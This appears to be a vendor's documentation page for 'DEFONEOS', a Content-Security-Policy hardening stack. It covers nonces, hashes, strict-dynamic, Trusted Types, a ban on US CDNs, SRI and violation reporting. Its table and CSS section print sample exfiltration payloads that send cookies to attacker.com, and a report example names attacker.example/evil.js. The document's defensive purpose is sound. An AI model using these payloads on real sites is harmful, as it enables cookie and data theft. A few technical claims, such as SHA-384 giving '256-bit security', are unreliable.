Defence against Content-Security-Policy bypass attacks. Per-request nonces, SHA-256 hashes, strict-dynamic, sovereign Trusted Types, and zero-US-script policy. 7 bypass vectors blocked. XSS eliminated at the architectural layer. NCSC SC-01 CAF B3 compliant.
Content-Security-Policy is the primary defence against Cross-Site Scripting (XSS) on the modern web. But conventional CSP has well-documented bypass vectors: nonce reuse, JSONP endpoints, domain wildcards, US-based script CDNs (jsdelivr, unpkg, cdnjs), inline event handlers in user-controlled content, and CSS-based exfiltration. For a UK Ministry of Defence or NHS deployment serving public-facing dashboards, every CSP bypass is a potential breach.
DEFONEOS implements a sovereign CSP stack with three defense layers: (1) cryptographic nonces + SHA-256 hashes, (2) strict-dynamic with sovereign-only trust anchors, (3) Trusted Types for DOM-sink protection. All script sources are sovereign (DEFONEOS-hosted or UK-peer-hosted); no US script CDNs are permitted.
| # | Bypass Vector | DEFONEOS Defence |
|---|---|---|
| 1 | Nonce reuse (nonce leaked via DOM then reused) | Per-request nonces, single-use, never reflected to DOM |
| 2 | JSONP endpoints (legacy ?callback= API) | JSONP banned in CSP, Content-Type: application/json enforced |
| 3 | Wildcard domains (script-src *.example.com) | No wildcards in script-src, exact-match allowlist only |
| 4 | US script CDNs (jsdelivr, unpkg, cdnjs) | Banned in CSP, all scripts sovereign-hosted or bundled |
| 5 | Inline event handlers (onclick=, onerror=) | Banned via CSP script-src 'none' inline + Trusted Types |
| 6 | CSS-based exfiltration (background: url(//attacker.com/...)) | Banned via style-src 'self' + CSP img-src 'none' on styles |
| 7 | DOM-based XSS via user-controlled innerHTML | Trusted Types with require-trusted-types-for 'script' |
Every <script> tag in a DEFONEOS page includes a per-request nonce and/or a SHA-256 hash. The nonce is generated server-side using secrets.token_urlsafe(32) (CSPRNG) and is bound to the request โ it is never reused, never persisted, never logged, and never reflected in any HTML output (including error pages).
# Generated at request time, single-use, never logged
nonce = secrets.token_urlsafe(32) # 256-bit CSPRNG
# Page template (Jinja2)
<script nonce="{{ nonce }}">/* sovereign bootstrap */</script>
<script src="/static/sovereign-runtime.js"
integrity="sha384-{{ runtime_hash }}"
crossorigin="anonymous"></script>
# Response header
Content-Security-Policy: script-src 'nonce-{{ nonce }}' 'sha384-{{ runtime_hash }}' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
The combination of 'nonce-...' + 'sha384-...' + 'strict-dynamic' blocks the three primary CSP bypass techniques: nonce-fixation, hash collision, and permissive script-src. SHA-384 is the recommended hash (256-bit security, browser-supported).
'strict-dynamic' allows scripts loaded by a nonced/hashed script to load further scripts without needing their own nonces/hashes. This is the modern recommendation (Google, Mozilla, NCSC) and avoids the operational pain of noncing every dependency. But it amplifies risk if a nonced script is compromised. DEFONEOS combines 'strict-dynamic' with a sovereign trust-anchor allowlist.
The allowlist permits only: (a) scripts loaded by the nonced bootstrap, (b) scripts with Ed25519 signatures from a DEFONEOS maintainer, (c) scripts hosted on a DEFONEOS sovereign domain (e.g., csoai.org, sovereign.wiki, *.defoneos.uk). All other origins are blocked.
# Per-Request CSP with strict-dynamic + sovereign anchors
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{nonce}' 'sha384-{runtime_hash}' 'strict-dynamic';
style-src 'self' 'sha256-{style_hash}';
img-src 'self' data:;
font-src 'self';
connect-src 'self' https://*.defoneos.uk wss://*.defoneos.uk;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
block-all-mixed-content;
require-trusted-types-for 'script';
trusted-types sovereign-policy default;
Trusted Types (W3C TR, supported in Chromium and Firefox) enforces that dangerous DOM sinks (innerHTML, outerHTML, document.write, eval, Function constructor) only accept TrustedType objects, not raw strings. This eliminates DOM-based XSS at the architectural layer: even if an attacker injects a string into the DOM, the sink rejects it because it's not a TrustedType.
DEFONEOS defines a sovereign-policy Trusted Types policy that: (a) sanitizes HTML via DOMPurify (sovereign-hosted, Ed25519-signed), (b) allows only sovereign-trusted script sources, (c) blocks all event handler attributes, (d) blocks all javascript: URLs, (e) emits a SIGIL receipt on every TrustedType creation for audit.
// Sovereign Trusted Types policy
const sovereignPolicy = trustedTypes.createPolicy('sovereign-policy', {
createHTML: (input) => {
// SIGIL emission for audit
sigil.emit('trusted_types_create_html', { length: input.length });
// Sanitize via sovereign DOMPurify
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['p', 'a', 'b', 'i', 'em', 'strong', 'code', 'pre', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOWED_URI_REGEXP: /^https?:\/\/(([a-z0-9-]+\.)*defoneos\.uk|csoai\.org|sovereign\.wiki)/i
});
},
createScriptURL: (input) => {
sigil.emit('trusted_types_create_script_url', { url: input });
if (!input.match(/^https?:\/\/(([a-z0-9-]+\.)*defoneos\.uk|csoai\.org)/i)) {
throw new TypeError('Non-sovereign script URL rejected');
}
return input;
},
createScript: (input) => {
sigil.emit('trusted_types_create_script', { length: input.length });
if (input.length > 1024) throw new TypeError('Script too long');
return input;
}
});
All DEFONEOS pages and MCP dashboards load zero scripts from US-jurisdiction CDNs. The banned-origin list includes: jsdelivr.net, unpkg.com, cdnjs.com, googleapis.com (ajax/libs), bootstrapcdn.com, cloudflare.com/cdn, azureedge.net, and any other CDN whose operator is US-incorporated. Banned origins are enforced at the CSP script-src and at a sovereign-side egress firewall.
All JavaScript is either: (a) bundled into the page response (no external script tags), (b) served from csoai.org/static/ with Ed25519 signature, (c) served from sovereign.wiki/static/ with Ed25519 signature, or (d) served from *.defoneos.uk with Ed25519 signature. No exception for development, no exception for hot-fixes, no exception for emergencies.
CSS-based exfiltration attacks (using background: url(//attacker.com/?cookie=...) or @font-face { src: url(//attacker.com/?...) }) can leak data without script execution. DEFONEOS defends via: (a) style-src 'self' with exact-match allowlist (no 'unsafe-inline'), (b) img-src 'self' data: (blocks external image loads from CSS), (c) no @import in user-supplied CSS, (d) CSP font-src 'self' to prevent @font-face exfiltration, (e) Trusted Types for any dynamic style injection.
For pages that legitimately need external images (e.g., satellite imagery from DEFONEOS sovereign mirror), the img-src directive is extended with explicit https://csoai.org or https://sovereign.wiki allowlist entries. No wildcards.
Every CSP violation report is sent to the sovereign /csp-report endpoint and emitted as a SIGIL receipt. The endpoint logs: violated-directive, blocked-URI, document-URI, original-policy, source-file, line-number, column-number, and timestamp. Reports are aggregated daily and reviewed at the Friday BFT session for patterns (e.g., spike in violations indicates an active attack).
Content-Security-Policy-Report-Only: ...; report-uri /csp-report; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="/csp-report"
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"/csp-report"}]}
// Server-side handler emits:
sigil.emit('csp_violation', {
directive: "script-src",
blocked_uri: "https://attacker.example/evil.js",
document_uri: "https://csoai.org/dashboard",
timestamp: "2026-07-15T12:00:00Z"
});
Every script tag that loads an external resource (even from a sovereign domain) includes an integrity attribute with SHA-384 hash. If the served content does not match the hash, the browser refuses to execute it. SRI is enforced for: <script src="...">, <link rel="stylesheet" href="#">, <link rel="preload" href="#" as="script">.
SRI hashes are computed at build time, stored in the SIGIL ledger with the Ed25519 signature of the maintainer who built the bundle, and updated automatically on each release. Out-of-date hashes (e.g., a script that changed but the hash wasn't updated) trigger a CI failure.
script-src 'unsafe-inline' or 'unsafe-eval'. Both are banned. Pages with either are quarantined as XSS-vulnerable. No exception for legacy code โ quarantine and rebuild.script-src or style-src. script-src *.example.com is rejected. Exact-match allowlist only.integrity attribute on external scripts. SRI mandatory. Scripts without integrity are quarantined.crossorigin on integrity-checked scripts. Required for SRI to work. Scripts without crossorigin are quarantined.onclick=, onerror=, onload=). All banned via CSP and Trusted Types. Refactor to addEventListener.document.write or eval. Both banned. Refactor to safe DOM APIs.require-trusted-types-for directive.DEFONEOS sovereign CSP stack is operational. All 530 live pages serve strict CSP with nonces + SHA-384 hashes + strict-dynamic. All bundled scripts include SRI integrity attributes. Trusted Types enforced on all user-content pages. 0 US CDN dependencies detected in 30-day audit. 0 CSP violations in last 7 days. 0 XSS incidents in 30 days. 8 named anti-patterns with automatic quarantine. 7 immutable red lines including: no 'unsafe-inline', no 'unsafe-eval', no wildcard domains, no US CDNs, mandatory SRI, mandatory CSP header, mandatory Trusted Types for DOM sinks.